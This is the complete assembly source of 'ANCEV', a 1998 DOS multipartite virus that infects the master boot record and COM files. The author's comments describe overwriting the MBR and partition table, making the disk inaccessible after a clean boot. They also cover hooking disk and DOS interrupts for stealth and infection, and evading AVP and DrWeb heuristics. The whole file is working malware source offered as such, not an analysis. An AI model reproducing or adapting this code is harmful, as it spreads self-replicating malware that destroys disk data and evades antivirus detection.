;[ANCEV] Multipartite MBR/COM stealth infector
;Copyright 1998 (c) Vecna
;
;When started, the virus check if a PSP exist in ds:0. If true, then we are in
;a infected file, so, we should infected the MBR and return to the host. A
;quick check for memory resident copy is done then. To infected the MBR, we
;read it, and check for a 0xE8 opcode(call). If it exists then we already are
;in the MBR, and dont infect it again. The clean copy of the MBR is stored
;in 0/0/2, and the MBR is overwritten by the virus code and memory contents,
;but before we write it, we put the marker (0xAA55) in the offset 0x1FE. The
;partition table is overwrited in this process, and the disk become, of course
;unacessible after a clean boot. Then four bytes of the start of the host are
;restored, and we jump to the host.
;
;If the PSP dont exists, then we are in a infected MBR. We reduce the memory
;size at 0x0:0x413 by 1 kb, and copy ourself to the gap we created in the top
;of memory. Then we hook interrupt 0x13.
;
;In each call of the interrupt 0x13, the virus check if is the sector 0/0/1
;from the first HDD. If so, we change it for 0/0/2 and lets teh call continue.
;Else, we make the call, and check if it start with 'MZ'. If so, we assume
;that DOS already is loaded, and hook interrupt 0x21, saving the original
;value in the interrupt 0x1. We also patch a jump in our code, to avoid the
;rehook of the interrupt.
;
;The hook in interrupt 0x21 only check for the function 0x4B, letting pass
;all other calls to the original vector. The control to the original vector
;is passed using a undocumented opcode 0xF1, BPICE, a single byte "INT 1"
;instruction.
;
;The infection is very simple, and no date is restored. In fact, a read-only
;attribute can stop the virus from infecting. We read 4 bytes from the begin
;of the file, and check if it is a EXE file, or have a "V" character in the
;4th byte. If so, the file is left alone. Then we go the the end of file,
;write our viral code, come back to the start of the file, and write a jump
;to the virus code, together with our infection mark. The file is then closed,
;and the infection process is finished.
;
;As a bonus, the virus isnt detected neither by AVP or DrWeb 4.00 heuristics

.model tiny
.code
.386
org 0

BPICE  MACRO
       db 0f1h
ENDM

VStart:
       call Delta
Delta:
       pop si
       sub di, di
       cmp byte ptr ds:[di], 0cdh
       jne GoMemory
CheckRes:
       mov ax, -1
       int 13h
       cmp al, -2
       je RestoreHost
InfectMbr:
       mov ax, 201h
       call DoMBRStandarBuffer
       cmp byte ptr [bx], 0e8h
       je RestoreHost
       mov ax, 301h
       push ax
       inc cx
       call DoHDD
       pop ax
       lea bx, [si+offset VStart-offset Delta]
       mov word ptr [si+offset VStart-offset Delta+510], 0aa55h
       call DoMBR
RestoreHost:
       lea si, [si+offset HBytes-offset Delta]
       mov di, 100h
       push di
       movsd
       ret

JWrite:
       db 0e9h
JOfs   dw 0
       db 'V'

HBytes db 0cdh, 20h, 90h, 90h

GoMemory:
       mov ss, di
       mov sp, 7c00h
       push cs
       pop ds
       dec word ptr ds:[413h]
       int 12h
       shl ax, 6
       mov es, ax
       push ax
       push offset HighStart
       mov cx, 512 / 2
       sub si, offset Delta
       rep movsw
       retf

HighStart:
       mov byte ptr es:[Switch-1], 0
       mov ax, word ptr ds:[13h*4]
       mov word ptr es:[Int13], ax
       mov ax, word ptr ds:[13h*4+2]
       mov word ptr es:[Int13+2], ax
       mov word ptr ds:[13h*4], offset Handler13
       mov word ptr ds:[13h*4+2], cs
       int 19h

DoMBRStandarBuffer:
       lea bx, [si+offset VEnd-offset Delta]
DoMBR:
       mov cx, 1
DoHDD:
       mov dx, 80h
       int 13h
       ret

ResTest:
       dec ax
       iret

Handler13:
       cmp al, -1
       je ResTest
       dec cx
       jnz CheckEXE
       cmp dx, 80h
       jne CheckEXE
       inc cx
       inc cx
       call Call13
       pushf
       dec cx
       popf
       retf 2

Call13:
       pushf
       db 9ah
Int13  dd 0
       ret

CheckEXE:
       inc cx
       call Call13
       pushf
       pusha
       push ds
       jmp $+2
Switch:
       cmp word ptr es:[bx], 'ZM'
       jne Back
       mov byte ptr cs:[Switch-1], offset Back-offset switch
       push 0
       pop ds
       mov ax, word ptr ds:[21h*4]
       mov word ptr ds:[1h*4], ax
       mov ax, word ptr ds:[21h*4+2]
       mov word ptr ds:[1h*4+2], ax
       mov word ptr ds:[21h*4], offset Handler21
       mov word ptr ds:[21h*4+2], cs
Back:
       pop ds
       popa
       popf
IntRet:
       retf 2

Handler21:
       cmp ah, 4bh
       jne Jump21
Infect:
       pusha
       push ds
       mov ax, 3d02h
       BPICE
       jc Error
       xchg ax, bx
       push cs
       pop ds
       mov ah, 3fh
       mov cx, 4
       mov dx, offset HBytes
       BPICE
       cmp word ptr ds:[HBytes], 'ZM'
CloseFile:
       je CloseError
       cmp byte ptr ds:[HBytes+3], 'V'
       je CloseFile
       mov ax, 4202h
       cwd
       sub cx, cx
       BPICE
       sub ax, 3
       mov word ptr ds:[JOfs], ax
       mov ah, 40h
       mov cx, offset VEnd
       BPICE
       mov ax, 4200h
       sub cx, cx
       BPICE
       mov ah, 40h
       mov cl, 4
       mov dl, LOW (offset JWrite)
       BPICE
CloseError:
       mov ah, 3eh
       BPICE
Error:
       pop ds
       popa
Jump21:
       BPICE
       jmp IntRet

VEnd   equ this byte

End    VStart
